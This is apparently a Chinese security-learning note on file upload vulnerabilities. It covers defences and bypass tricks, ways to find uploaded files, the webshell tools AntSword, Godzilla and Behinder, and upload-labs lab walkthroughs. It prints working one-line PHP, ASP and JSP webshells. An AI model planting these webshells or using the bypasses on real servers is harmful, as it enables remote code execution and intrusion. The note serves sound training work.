一、文件上传漏洞防御手段及绕过手段
防御手段:
-
文件类型检查:
- 限制可上传的文件类型。
- 检查文件的MIME类型。
- 检查文件的内容而不是仅依赖文件扩展名。
-
文件内容验证:
- 对上传的文件内容进行扫描,查找可能的恶意代码签名。
- 对上传的图片文件进行二次渲染,以消除可能存在的恶意代码。
-
文件名随机化:
- 对上传的文件重命名,避免使用用户上传的原始文件名。
-
文件存储位置:
- 不要将上传的文件存储在Web根目录下,以防止直接通过URL访问。
-
权限控制:
- 对上传目录设置正确的文件权限,避免执行权限。
- 使用独立的低权限账户来运行Web服务。
-
上传大小限制:
- 限制上传文件的大小,减少拒绝服务攻击(DoS)的风险。
-
验证码和速率限制:
- 使用验证码防止自动化攻击。
- 对上传操作实施速率限制。
-
使用安全的编程实践:
- 使用框架提供的文件上传功能,这些功能通常内置了安全措施。
绕过手段:
-
文件类型伪装:
- 改变上传文件的Content-Type头部,伪装成允许上传的类型。
-
文件名欺骗:
- 在文件名中加入空字节或点等特殊字符,可能绕过某些文件名过滤。
-
文件内容混淆:
- 对恶意代码进行混淆,以绕过内容检查。
-
服务器解析漏洞:
- 利用服务器软件的特殊解析规则,例如IIS中的目录遍历或Apache的
.htaccess
攻击。
- 利用服务器软件的特殊解析规则,例如IIS中的目录遍历或Apache的
-
利用文件包含漏洞:
- 如果服务器存在文件包含漏洞,攻击者可能通过上传的文件执行代码。
-
二次上传攻击:
- 上传一个看似安全的文件,然后通过服务器漏洞修改文件内容或类型。
-
服务器配置错误:
- 利用服务器配置不当,如目录权限设置错误,来执行上传的脚本。
二、文件上传常用一句话木马
PHP 一句话木马:
<?php @eval($_POST['cmd']); ?>
这个PHP脚本会执行通过POST请求传递给cmd
参数的任意PHP代码。
ASP 一句话木马:
<% Execute(Request("cmd")) %>
这个ASP脚本会执行通过请求传递给cmd
参数的任意VBScript代码。
JSP 一句话木马:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
这个JSP脚本会执行通过请求传递给cmd
参数的任意系统命令。
三、三种webshell管理工具的使用
一、蚁剑
做一个木马图片
生成的文件可以用记事本查看一下
开始上传
打开蚁剑
设置代理127.0.0.1:8080
可以看到写入的脚本
二、哥斯拉
打开软件
生成木马
上传后测试连接
添加后可查看内容
三、冰蝎
把冰蝎自带的php文件放入WWW
修改js后上传文件
连接测试,发现上次成功
四、文件上传无回显如何查找webshell地址
1. 猜测或推断路径
-
默认上传路径:很多应用程序有默认的上传路径,例如
/upload/
,攻击者可以尝试访问这些常见路径。 -
时间戳:如果上传后文件名未改变,可以尝试根据上传时间来猜测文件名。
2. 目录遍历
-
尝试使用目录遍历技术(如
../
)来访问服务器上的其他目录。
3. 错误消息
-
观察服务器返回的错误消息,有时错误消息会泄露文件路径信息。
4. 文件包含漏洞
-
如果服务器存在本地文件包含(LFI)漏洞,攻击者可以尝试利用该漏洞来读取服务器上的文件列表或包含Webshell。
5.暴力破解
-
使用脚本对可能的文件路径和文件名进行暴力破解。
6. 服务器日志
-
如果能够访问服务器的日志文件,可能会在其中找到上传文件的路径。
7. DNS记录
-
如果上传的文件被重命名为包含唯一标识的URL,攻击者可能会通过DNS记录找到文件。
8. 网络监控
-
使用网络监控工具捕获上传文件时的HTTP请求和响应,可能会发现文件路径。
五、upload-labs靶场通关
第六关:
尝试一下
将文件后缀php改成Php尝试绕过
成功绕过
但是蚁剑一直连接不成功?
第七关:
使用空格绕过黑名单
这样可以绕过对php文件的检测
第八关:
加.绕过检测
第九关:
特殊字符绕过::$DATA
第十关:
修改后缀为. .